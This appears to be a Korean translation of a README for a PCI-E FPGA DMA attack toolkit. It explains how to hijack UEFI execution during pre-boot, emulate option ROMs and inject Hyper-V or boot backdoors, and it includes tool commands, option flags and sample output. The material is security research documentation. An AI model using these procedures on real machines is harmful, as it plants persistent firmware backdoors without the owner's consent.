EFI_SYSTEM_TABLE 하이재킹 − 서명을 통해 EFI 시스템 테이블을 찾고 LocateProtocol() 함수 주소를 패치하기 위해 물리 주소 0xf0000000부터 0까지 0x10000 바이트 단계로 시스템 메모리를 스캔합니다. 메모리 스캔 옵션을 재정의하려면 SCAN_FROM 및 SCAN_STEP 환경 변수를 사용할 수 있습니다.
PROTOCOL_ENTRY 하이재킹 − CPU I/O 2 프로토콜의 EFI_CPU_IO2_PROTOCOL 구조를 찾고 그 함수 중 하나를 패치하기 위해 물리 주소 0x76000000부터 0xa0000000까지 0x1000 바이트 단계로 시스템 메모리를 스캔합니다. 메모리 스캔 옵션을 재정의하려면 SCAN_FROM, SCAN_TO 및 환경 변수를 사용할 수 있습니다.
기본적으로 네 프로그램 모두 EFI 시스템 테이블 하이재킹 방법을 사용합니다. 대신 프로토콜 엔트리 방법을 사용하려면 해당 프로그램에 --inj-prot 명령줄 옵션을 전달할 수 있습니다. 공격 수행에 필요한 시간을 줄이려면 --system-table 옵션으로 이전에 찾은 EFI_SYSTEM_TABLE 구조 주소를, --prot-entry 옵션으로 PROTOCOL_ENTRY 구조 주소를 지정할 수 있습니다. 또한 네 Python 프로그램 모두 --test 명령줄 옵션이 있습니다. 이 옵션은 실제 실행 흐름 하이재킹 없이 메모리 스캔을 수행하고 필요한 구조 주소를 찾는 데 사용됩니다. 따라서 첫 번째 부팅 중에는 --test 옵션으로 원하는 프로그램을 실행하여 필요한 주소를 찾고, 두 번째 부팅 중에는 동일한 프로그램을 --system-table 또는 --prot-entry 옵션과 함께 실행하여 해당 주소를 지정할 수 있습니다.
프리부트 DMA 공격용 악성 코드를 개발하는 동안 UEFI DXE 단계의 실행 환경에 대한 정보를 확보하는 것이 중요합니다. 이러한 정보를 수집하려면 대상 컴퓨터를 켜고 BIOS 설정 메뉴 또는 부팅 옵션 메뉴로 들어가 운영 체제 로딩을 일시 중지한 다음 uefi.py 프로그램을 인수 없이 실행하면 됩니다. 이 프로그램은 대상 컴퓨터의 물리 메모리를 스캔하고 기존 UEFI DXE 프로토콜 및 인터페이스, 로드된 UEFI 드라이버, UEFI 디스크립터 테이블 및 ACPI 테이블에 대한 다양한 정보를 출력합니다. AAEON UP Squared 미니 PC를 공격 대상으로 사용하면서 uefi.py 프로그램으로 얻은 정보의 예시를 여기에서 확인할 수 있습니다.
제공된 비트스트림은 SP605의 온보드 리니어 플래시 메모리에 저장된 PCI-E 옵션 ROM을 에뮬레이션할 수 있습니다. 최신 플랫폼이 옵션 ROM 공격을 완화하지만, 이 기능은 보안 감사 또는 프로토타이핑 목적으로 여전히 유용할 수 있습니다.
pcie_rom_ctl.py Python 프로그램을 사용하여 옵션 ROM 이미지를 관리할 수 있습니다.
옵션 ROM 콘텐츠 지우기:```
$ ./pcie_rom_ctl.py --erase
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Done
제공된 UEFI 옵션 ROM 예제를 보드에 로딩:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done
또한 SP605 보드의 디버그 UART로 옵션 ROM 메모리 접근을 기록하는 옵션도 있습니다. 이 옵션을 활성화하거나 비활성화하려면 ./pcie_rom_ctl.py 프로그램의 --log-on 및 --log-off 매개변수를 사용하세요.
Linux에서 옵션 ROM 지원이 올바르게 작동하는지 확인하려면 다음을 수행할 수 있습니다.
먼저 SP605 PCI-E 장치의 버스-디바이스-기능(bus-device-function) 주소를 찾으세요:```
01:00.0 Ethernet controller: Xilinx Corporation Device 1337
그런 다음, 명령 레지스터의 enabled 비트를 설정하여 대상 시스템이 옵션 ROM 물리 메모리 범위에 대한 모든 메모리 접근 시도를 PCI-E 장치로 전달하도록 합니다:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom
이제 dd 명령과 sysfs의 해당 의사 파일(pseudo-file)을 사용하여 이전에 로드된 옵션 ROM의 내용을 덤프할 수 있습니다:```
00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
구성 중에 `pcie_rom_ctl.py` 프로그램의 `--log-on` 옵션이 지정된 경우, 옵션 ROM을 덤프하는 동안 SP605 보드의 디버그 UART 콘솔에서 다음 메시지가 표시됩니다.```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
...
PCI Express는 매우 복잡한 고속 버스이므로 문제가 발생할 수 있는 부분이 많습니다. DMA 공격이 여러분의 환경에서 작동하지 않는 경우 다음 항목을 확인하여 정확한 문제를 파악할 수 있습니다:
DS3 LED는 물리적 PCI-E 링크가 연결되었을 때 켜지고, DS4는 루트 컴플렉스가 우리 PCI-E 엔드포인트에 버스-디바이스-펑션 주소를 할당했을 때 켜집니다. DS3가 꺼져 있다면 물리적 연결 문제일 가능성이 높습니다 − 라이저, 케이블 등을 확인하세요. DS3가 켜져 있는데 DS4가 꺼져 있다면 공격 대상 시스템을 재부팅하거나 해당 시스템에서 PCI-E 장치 재검색을 강제로 수행해야 한다는 뜻입니다.
DS5 LED는 PCI-E 버스 리셋 중에 켜지며, 항상 켜져 있으면 물리적 연결 문제를 의미합니다.
루트 컴플렉스가 메모리 읽기 요청에 대한 응답으로 CplD TLP 대신 Cpl TLP를 보내면, 잘못된 주소 또는 IOMMU의 접근 검사로 인해 메모리 접근이 거부되었음을 의미합니다. 또한 일반적인 x86 머신은 물리적 주소 공간의 특정 MMIO 영역에 대한 메모리 읽기 요청에 전혀 응답하지 않을 수도 있습니다.
소프트웨어가 메모리 읽기 요청에 대한 응답으로 루트 컴플렉스로부터 일관되지 않거나 잘못된 TLP를 수신하는 경우, pcie_lib.py의 MEM_RD_TLP_LEN 상수 값을 더 작게 설정하여 응답 데이터를 더 작은 여러 청크로 분할해 볼 수 있습니다. 또한 DEBUG_TLP=1 환경 변수로 프로그램을 실행하고 원시 TX/RX TLP 덤프를 확인하는 것도 유용합니다.
SP605 보드와 함께 제공되는 Xilinx ISE 13.4를 설치하고 s6_pcie_microblaze.xise 프로젝트 파일을 엽니다.
프로젝트 계층 구조에 있는 s6_pcie_v2_4 및 fifo_generator_v8_4 코어를 재생성합니다.
프로젝트 계층 구조에서 microblaze_i 인스턴스를 클릭하고 "Export Hardware Design to SDK With Bitstream"을 실행합니다.
빌드가 완료되면 ISE가 Xilinx Software Development Kit IDE를 엽니다. sdk 폴더를 작업 공간으로 사용하세요.
Xilinx SDK 프로젝트 트리에서 새 standalone 보드 지원 패키지를 만들고, BSP 구성에서 lwIP 및 xilflash 라이브러리를 선택합니다.
sdk/srec_bootloader_0 및 sdk/main_0 프로젝트를 프로젝트 트리로 가져와 빌드를 실행합니다.
필요한 출력 파일을 생성하려면 Xilinx ISE 명령 프롬프트에서 make bitstream && make srec을 실행합니다.
Dmytro Oleksiuk (일명 Cr4sh)
python/uefi_backdoor_hv.py − 대상 시스템 부팅 시퀀스에 Hyper-V VM exit 핸들러 백도어를 주입하는 사전 부팅 DMA 공격용 명령줄 프로그램입니다.
python/uefi_backdoor_boot.py − 대상 시스템 부팅 시퀀스에 Boot Backdoor를 주입하는 사전 부팅 DMA 공격용 명령줄 프로그램입니다.
python/payloads/DmaBackdoorSimple/ − uefi_backdoor_simple.py와 함께 사용할 더미 UEFI DXE 드라이버의 소스 코드입니다.
python/payloads/DmaBackdoorHv/ − uefi_backdoor_hv.py와 함께 사용할 UEFI DXE 드라이버의 소스 코드로, Hyper-V Backdoor 기능을 구현합니다.
python/payloads/DmaBackdoorBoot/ − uefi_backdoor_boot.py와 함께 사용할 UEFI DXE 드라이버의 소스 코드로, Boot Backdoor 기능을 구현합니다.
SCAN_STEP